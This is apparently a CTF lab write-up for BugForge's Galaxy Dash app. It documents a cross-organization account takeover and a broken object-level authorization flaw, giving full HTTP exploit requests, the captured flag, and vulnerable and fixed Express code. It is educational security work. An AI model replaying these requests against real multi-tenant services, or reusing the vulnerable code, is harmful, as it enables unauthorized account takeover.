Security Labs

CTF and security lab write-ups

← Back

BugForge - Galaxy Dash Lab Writeup

Date: 2026-03-28 Difficulty: Medium Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. Cross-org user hijacking via POST /api/team β€” full account takeover by specifying any existing username (CVSS 9.8)
  2. Broken object-level authorization on PUT /api/team/:id β€” permission updates bypass org boundaries (CVSS 8.1)

Business Impact: Any authenticated user can take over any other user account across organizational boundaries, including credential overwrite, enabling complete compromise of multi-tenant data isolation.


Objective

Compromise target user walt on a Futurama-themed intergalactic B2B delivery platform (Galaxy Dash). The flag is returned in the login response when authenticating as walt.

Initial Access

# Target Application
URL: https://lab-1774738563184-bgoz3k.labs-app.bugforge.io

# Auth β€” self-registered org_admin
Username: haxor
Organization ID: 4 (attacker-controlled)

Key Findings

Critical & High-Risk Vulnerabilities

  1. Cross-Org User Hijacking via Team Management (CWE-284: Improper Access Control, CWE-639: Authorization Bypass Through User-Controlled Key) β€” POST /api/team accepts any existing username and overwrites their email/password, pulling them into the attacker’s organization
  2. Broken Access Control on Team Permission Updates (CWE-639: Authorization Bypass Through User-Controlled Key) β€” PUT /api/team/:id uses numeric user IDs with no organization scoping

CVSS v3.1 Score for Cross-Org User Hijacking: 9.8 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Changed
Confidentiality High
Integrity High
Availability High

Enumeration Summary

Application Analysis

Tech Stack: Express (Node.js) backend, React SPA frontend, JWT HS256 auth (no expiry), SQLite, Access-Control-Allow-Origin: *

Target Endpoints Discovered:

Method Endpoint Notes
POST /api/register Create org + admin user
POST /api/login Login, returns JWT + user + flag (if walt)
GET /api/verify-token Validate JWT
GET/PUT /api/organization Org settings
GET/POST /api/team List/add team members
PUT /api/team/:id Update role/permissions (numeric ID)
DELETE /api/team/:username Remove member
GET/POST /api/bookings List/create bookings
GET /api/invoices/:id Invoice for booking

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     POST /api/register      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Attacker   │────────────────────────────▢│  New Org (id:4) β”‚
β”‚              β”‚     org_admin JWT           β”‚  user: haxor    β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β”‚  POST /api/team
       β”‚  {"username":"walt", "password":"attacker_pw", ...}
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Server: finds existing user walt (id:2)                 β”‚
β”‚  β†’ Overwrites walt's email + password                    β”‚
β”‚  β†’ Moves walt into org 4 (attacker's org)                β”‚
β”‚  β†’ Returns: {"id":2,"message":"Team member added..."}    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
       β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚  POST /api/login
       β”‚  {"username":"walt", "password":"attacker_pw"}
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Server returns walt's JWT + flag                        β”‚
β”‚  bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx}                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Register a new organization, receive org_admin JWT
  2. POST /api/team with target username walt β€” server overwrites walt’s credentials and pulls him into attacker’s org
  3. Login as walt with attacker-chosen password β€” flag returned in response
  4. (Bonus) PUT /api/team/2 to escalate walt to org_admin β€” no org boundary check

Exploitation Path

Step 1: Reconnaissance β€” Mapping the API Surface

Registered a new organization and mapped all API endpoints via the React SPA’s network traffic. Key observations:

Step 2: Cross-Org User Hijacking via POST /api/team

The team member creation endpoint accepts a username, email, password, role, and permissions. The critical flaw: it does not check whether the username already exists in another organization.

Request:

POST /api/team HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json

{
  "username": "walt",
  "email": "pwned@attacker.com",
  "password": "attacker_pw",
  "full_name": "",
  "role": "viewer",
  "permissions": {
    "can_view_deliveries": true,
    "can_create_deliveries": false,
    "can_edit_deliveries": false,
    "can_manage_team": false,
    "can_manage_org": false
  }
}

Response:

{"id": 2, "message": "Team member added successfully"}

Three boundaries broken in a single request:

  1. Cross-org access β€” attacker’s JWT (org 4) targeting user in org 1
  2. Credential overwrite β€” existing user’s password and email replaced
  3. No ownership validation β€” server finds user by username globally, not scoped to org

Step 3: Login as Hijacked User

With walt’s credentials now set to attacker-controlled values:

POST /api/login HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Content-Type: application/json

{
  "username": "walt",
  "password": "attacker_pw"
}

The response included walt’s JWT and the flag in the response body.

Step 4: Permission Escalation (Bonus)

After hijacking walt, escalated his role to org_admin using the numeric ID returned in Step 2:

PUT /api/team/2 HTTP/2
Host: lab-1774738563184-bgoz3k.labs-app.bugforge.io
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{
  "role": "org_admin",
  "permissions": {
    "can_view_deliveries": true,
    "can_create_deliveries": true,
    "can_edit_deliveries": true,
    "can_manage_team": true,
    "can_manage_org": true
  }
}

This succeeded β€” the endpoint uses numeric user IDs with no org boundary check.


Flag / Objective Achieved

βœ… Flag captured: bug{Vg4SgLP3wGGIjluwl5OwQwdUhQ0KkqUx}

Returned in POST /api/login response body after authenticating as hijacked user walt.


Key Learnings


Tools Used


Remediation

1. Cross-Org User Hijacking (CVSS: 9.8 - Critical)

Issue: POST /api/team resolves usernames globally and overwrites credentials on existing users, enabling full account takeover across organization boundaries.

CWE References: CWE-284 - Improper Access Control, CWE-639 - Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
app.post('/api/team', async (req, res) => {
  const { username, email, password, role, permissions } = req.body;
  const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
  if (existingUser) {
    // BUG: Updates existing user's credentials and org membership
    await db.run('UPDATE users SET email = ?, password = ?, organization_id = ? WHERE username = ?',
      email, hashedPassword, req.user.organizationId, username);
    return res.json({ id: existingUser.id, message: 'Team member added successfully' });
  }
  // ... create new user
});

// AFTER (Secure)
app.post('/api/team', async (req, res) => {
  const { username, email, password, role, permissions } = req.body;
  const existingUser = await db.get('SELECT * FROM users WHERE username = ?', username);
  if (existingUser) {
    // Reject if user exists β€” never overwrite credentials
    return res.status(409).json({ error: 'Username already taken' });
  }
  // Create new user scoped to the caller's org
  const newUser = await db.run(
    'INSERT INTO users (username, email, password, organization_id, role) VALUES (?, ?, ?, ?, ?)',
    username, email, hashedPassword, req.user.organizationId, role
  );
  return res.status(201).json({ id: newUser.lastID, message: 'Team member created' });
});

2. Broken Object-Level Authorization on Permission Updates (CVSS: 8.1 - High)

Issue: PUT /api/team/:id accepts a numeric user ID with no validation that the target user belongs to the calling user’s organization.

CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
app.put('/api/team/:id', async (req, res) => {
  const { role, permissions } = req.body;
  await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
  // No org check β€” any user ID is accepted
});

// AFTER (Secure)
app.put('/api/team/:id', async (req, res) => {
  const { role, permissions } = req.body;
  const targetUser = await db.get(
    'SELECT * FROM users WHERE id = ? AND organization_id = ?',
    req.params.id, req.user.organizationId
  );
  if (!targetUser) {
    return res.status(404).json({ error: 'User not found in your organization' });
  }
  await db.run('UPDATE users SET role = ? WHERE id = ?', role, req.params.id);
});

Additional Recommendations


Failed Attempts

Approach 1: N/A

First hypothesis (cross-org user hijacking via team management) was the correct vector.

Result: No dead ends encountered β€” first vector tested was the winner.


OWASP Top 10 Coverage


References

Broken Access Control Resources:


Tags: #broken-access-control #IDOR #account-takeover #cross-org #JWT #BugForge #webapp